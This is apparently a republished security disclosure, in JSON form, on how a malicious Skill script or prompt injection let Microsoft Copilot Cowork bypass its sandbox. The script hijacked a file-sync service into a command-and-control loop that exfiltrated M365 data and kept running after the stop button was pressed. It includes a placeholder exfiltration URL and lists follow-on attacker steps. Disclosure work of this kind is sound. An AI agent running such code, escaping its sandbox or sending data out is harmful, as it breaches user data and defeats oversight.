{"slug": "microsoft-copilot-cowork-controlled-by-attacker-bypassing-sandbox", "title": "Microsoft Copilot Cowork Controlled by Attacker, Bypassing Sandbox", "summary": "A vulnerability in Microsoft Copilot Cowork, an agent in Microsoft 365, allowed attackers to bypass the sandbox and establish a command and control loop, enabling data exfiltration from Outlook, SharePoint, Teams, and other connected services. The flaw, reported to Microsoft on June 24, 2026, was mitigated on August 19, 2026. Even clicking the stop button did not halt the attack, as background processes continued executing.", "body_md": "## Context\n\nMicrosoft Copilot Cowork is an agent in M365 that operates with the permissions of the active user, retrieving and acting on data from Outlook, Teams, SharePoint, connected plugins, and more.\n\nThe agent runs in a sandbox, which is intended to block network access and prevent the agent from running code that reaches any untrusted services.\n\n**A vulnerability was identified that bypassed the sandbox to make untrusted network requests. This meant that when Copilot was manipulated by a prompt injection or ran code from a Skill the user found online and uploaded, that code could communicate with attacker servers.**\n\n**We show that this made it possible for attackers to establish a command and control loop: the attacker server supplies commands, the commands are executed in the sandbox, and the results are sent back to the attacker. What’s worse, the user clicking the stop button doesn’t help.**\n\n**This enabled the attacker to execute commands to exfiltrate any data from the sandbox or its connected services, such as emails from Outlook, files from SharePoint, data from plugins, session chat history, and more.**\n\nThis vulnerability was reported to Microsoft on June 24, 2026, and has been mitigated as of August 19, 2026. More details on responsible disclosure are at the bottom of the article.\n\n## The Attack Chain\n\n*Note: Technical details of the network bypass and malicious Skill code are discussed after the attack chain.*\n\n### The victim makes a benign query to Copilot Cowork\n\nHere, the agent is asked to compare two documents for any inconsistent claims.\n\n### The victim is using a Skill found online that contains malicious code\n\nTo perform the comparison, the user asks the agent to invoke a ‘doc-consistency’ Skill. Skills are frequently found online and uploaded by users, and they can also be shared intra-org within M365. Per the\n\n[documentation](https://learn.microsoft.com/en-us/microsoft-365/copilot/cowork/use-cowork#cowork-skills), “Skills can also include up to 20 companion files (such as reference documents and scripts)”. One script bundled with this Skill is malicious.### Copilot Cowork runs the malicious code\n\nThe agent decides to execute the Skill’s bundled scripts. The script generates a full document consistency report, but it also initiates an exploit.\n\n### The malicious code bypasses the sandbox network restrictions to retrieve commands from an attacker’s server, execute them, and send the results back to the attacker\n\n### The attacker runs whatever commands they want to exfiltrate data from Outlook, SharePoint, Teams, connected plugins, chat history, and more\n\n**Even if the user clicks the stop button, the attack can continue.** Processes running in the background in the sandbox continue to execute even when an agent’s turn ends.*Note: Copilot Cowork accesses services such as Outlook, SharePoint, Microsoft Graph, plugins, and more via an MCP server. The attacker can programmatically access this MCP server with a command. Here, the attacker’s server has a function that turns terminal inputs like ‘MCP Outlook ListMessages’ into commands containing inline Python scripts that call the MCP server.*\n\n## Technical Vulnerability Details\n\nCopilot Cowork uses file storage outside the sandbox for a variety of purposes; for example, to output a file to the user. To support this, there is a service that syncs files between the storage and the sandbox. The service, which lives outside the sandbox, accepts a URL for the file it is syncing to storage.\n\nThis research discovered that an attacker’s script can hijack this service to make network requests by invoking the service with URLs of their choosing.\n\nThis has two effects:\n\n- The attacker’s server can reply with a file containing commands to be run in the sandbox. The malicious script in the Skill then immediately reads and executes these commands.\n- The results from commands executed in the sandbox can be transmitted back to the attacker’s server by sending another ‘request’, this time containing the command output in the requested URL:\n`attacker.com/?data=result-from-command`\n\n.\n\nThe attacker can read these ‘requests’ to their server to view the command output and help determine which command they want to send next.\n\n**Malicious code in the Skill retrieves a command file from the attacker’s server every couple of seconds.**\n\nThe attacker could then send commands that do many things, for example:\n\n- Explore the victim’s data\n- Deploy more malware to establish persistent access\n- Escalate permissions\n- Clean up evidence by deleting the malicious script that gave them access\n\n## Responsible Disclosure\n\nThis vulnerability was reported to Microsoft on June 24, 2026. On August 19, 2026, Microsoft confirmed that the issue had been mitigated.\n\n### Timeline\n\n| Date | Event |\n|---|---|\n| June 24, 2026 | PromptArmor discloses to Microsoft |\n| July 24, 2026 | Microsoft requests additional information |\n| July 24 - Aug 3, 2026 | Microsoft indicates a fix is being developed; additional details are provided |\n| Aug 19, 2026 | Microsoft confirms the issue has been mitigated |", "url": "https://wpnews.pro/news/microsoft-copilot-cowork-controlled-by-attacker-bypassing-sandbox", "canonical_source": "https://www.promptarmor.com/resources/microsoft-copilot-cowork-sandbox-bypass", "published_at": "2026-08-25 22:01:43+00:00", "updated_at": "2026-08-25 22:15:57.673147+00:00", "lang": "en", "topics": ["ai-safety", "ai-agents", "ai-policy"], "entities": ["Microsoft", "Copilot Cowork", "Microsoft 365", "Outlook", "SharePoint", "Teams", "Microsoft Graph"], "alternates": {"html": "https://wpnews.pro/news/microsoft-copilot-cowork-controlled-by-attacker-bypassing-sandbox", "markdown": "https://wpnews.pro/news/microsoft-copilot-cowork-controlled-by-attacker-bypassing-sandbox.md", "text": "https://wpnews.pro/news/microsoft-copilot-cowork-controlled-by-attacker-bypassing-sandbox.txt", "jsonld": "https://wpnews.pro/news/microsoft-copilot-cowork-controlled-by-attacker-bypassing-sandbox.jsonld"}}